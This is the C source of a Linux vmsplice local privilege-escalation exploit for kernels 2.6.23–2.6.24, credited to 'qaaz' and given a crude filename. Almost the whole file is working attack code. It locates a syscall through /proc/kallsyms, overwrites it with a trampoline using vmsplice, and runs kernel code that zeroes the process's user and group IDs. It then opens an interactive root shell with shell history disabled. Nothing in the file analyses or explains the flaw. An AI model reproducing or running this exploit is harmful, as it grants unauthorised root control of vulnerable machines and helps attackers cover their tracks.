/*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>

#define TARGET_PATTERN    " sys_vm86old"
#define TARGET_SYSCALL    113

#ifndef __NR_vmsplice
#define __NR_vmsplice    316
#endif

#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot()    syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)

#define TRAMP_CODE    (void *) trampoline  
#define TRAMP_SIZE    ( sizeof(trampoline) - 1 )

unsigned char trampoline[] =
"\x8b\x5c\x24\x04"    /* mov    0x4(%esp),%ebx  */
"\x8b\x4c\x24\x08"    /* mov    0x8(%esp),%ecx  */
"\x81\xfb\x69\x7a\x00\x00"  /* cmp    $31337,%ebx    */
"\x75\x02"      /* jne    +2      */
"\xff\xd1"      /* call   *%ecx      */
"\xb8\xea\xff\xff\xff"    /* mov    $-EINVAL,%eax    */
"\xc3"        /* ret        */
;

void  die(char *msg, int err)
{
  printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  fflush(stdout);
  fflush(stderr);
  exit(1);
}

long  get_target()
{
  FILE  *f;
  long  addr = 0;
  char  line[128];

  f = fopen("/proc/kallsyms", "r");
  if (!f) die("/proc/kallsyms", errno);

  while (fgets(line, sizeof(line), f)) {
    if (strstr(line, TARGET_PATTERN)) {
      addr = strtoul(line, NULL, 16);
      break;
    }
  }

  fclose(f);
  return addr;
}

static inline __attribute__((always_inline))
void *  get_current()
{
  unsigned long curr;
  __asm__ __volatile__ (
  "movl %%esp, %%eax ;"
  "andl %1, %%eax ;"
  "movl (%%eax), %0"
  : "=r" (curr)
  : "i" (~8191)
  );
  return (void *) curr;
}

static uint uid, gid;

void  kernel_code()
{
  int  i;
  uint  *p = get_current();

  for (i = 0; i < 1024-13; i++) {
    if (p[0] == uid && p[1] == uid &&
        p[2] == uid && p[3] == uid &&
        p[4] == gid && p[5] == gid &&
        p[6] == gid && p[7] == gid) {
      p[0] = p[1] = p[2] = p[3] = 0;
      p[4] = p[5] = p[6] = p[7] = 0;
      p = (uint *) ((char *)(p + 8) + sizeof(void *));
      p[0] = p[1] = p[2] = ~0;
      break;
    }
    p++;
  }  
}

int  main(int argc, char *argv[])
{
  int    pi[2];
  long    addr;
  struct iovec  iov;

  uid = getuid();
  gid = getgid();
  setresuid(uid, uid, uid);
  setresgid(gid, gid, gid);

  printf("-----------------------------------\n");
  printf(" Linux vmsplice Local Root Exploit\n");
  printf(" By qaaz\n");
  printf("-----------------------------------\n");

  if (!uid || !gid)
    die("!@#$", 0);

  addr = get_target();
  printf("[+] addr: 0x%lx\n", addr);

  if (pipe(pi) < 0)
    die("pipe", errno);

  iov.iov_base = (void *) addr;
  iov.iov_len  = TRAMP_SIZE;

  write(pi[1], TRAMP_CODE, TRAMP_SIZE);
  _vmsplice(pi[0], &iov, 1, 0);

  gimmeroot();

  if (getuid() != 0)
    die("wtf", 0);

  printf("[+] root\n");
  putenv("HISTFILE=/dev/null");
  execl("/bin/bash", "bash", "-i", NULL);
  die("/bin/bash", errno);
  return 0;
}